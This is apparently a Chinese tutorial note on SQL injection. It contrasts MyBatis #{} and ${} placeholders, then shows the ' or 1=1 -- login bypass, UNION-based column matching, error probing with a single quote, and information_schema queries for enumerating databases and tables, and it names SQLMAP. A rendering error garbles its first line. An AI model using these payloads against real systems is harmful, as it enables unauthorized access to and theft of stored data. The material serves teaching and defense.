SQL注入
原理
我们要知道数据库中KaTeX parse error: Expected 'EOF', got '#' at position 2: 和#̲的区别 他们之间的区别用最直接…相当于直接显示数据。
1、#对传入的参数视为字符串,也就是它会预编译
select * from user where name = #{name}
比如我传一个csdn,那么传过来就是
select * from user where name = 'csdn'
2、$将不会将传入的值进行预编译
select * from user where name=${name}
比如我穿一个csdn,那么传过来就是
select * from user where name=csdn
3、#的优势就在于它能很大程度的防止sql注入,而$则不行。
比如:用户进行一个登录操作,后台sql验证式样的:
select * from user where username=#{name} and password = #{pwd}
如果前台传来的用户名是“wang”,密码是 “1 or 1=1”,用#的方式就不会出现sql注入,而如果换成$方式,sql语句就变成了
select * from user where username=wang and password = 1 or 1=1
这样的话就形成了sql注入。
方法
‘or 1=1 –
比如原来的SQL是这样的
SELECT * FROM [ADMIN] WHERE USERNAME='ADMIN' AND USERPWD='ADMIN'
加上’or 1=1 –-
SELECT * FROM [ADMIN] WHERE USERNAME='' OR 1=1 --' AND USERPWD='ADMIN'
–的作用,就是注释后面的一切
union注入
需要关注的点,就是union前面有几个查询字段union后面的就需要多少查询字段,而且查询出的结果,是以union前面的查询字段展示的
原型:
Select a,b,c from user union select d,e,f from offer
优化:
如果union后面的表的字段比较少怎么办,用数字补齐
Select a ,b ,b from user union select d,e,1 from offer
查询出的结果太多怎么办,使用limit
Select a ,b ,b from user union select d,e,1 from offer limit 5
只想看union后面的表怎么办
Select a,b,c from user where 1=2 union select d,e,1 from offer limit 5
不知道union前面的表有几个字段怎么办
一个一个用添加数字的办法尝试
错误注入
只输入一个单引号,就直接让他爆出语法错误,说明它能接受语法错误,按理说是不应该的
SQL注入我能拿到什么
我们必须要了解数据库的一个东西,叫information_schema
拿到所有库的信息,包括里面的表
Select * from information_schema.TABLES;
只拿库的信息
Select distinct TABLE_SCHEMA from information_schema.TABLES;
库和对应所有表的信息
Select TABLE_SCHEMA,GROUP_CONCAT(table_name) from information_schema.TABLES GROUP BY TABLE_SCHEMA;
某一个库的所有表的信息
Select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='chezhubangapp';
工具
SQLMAP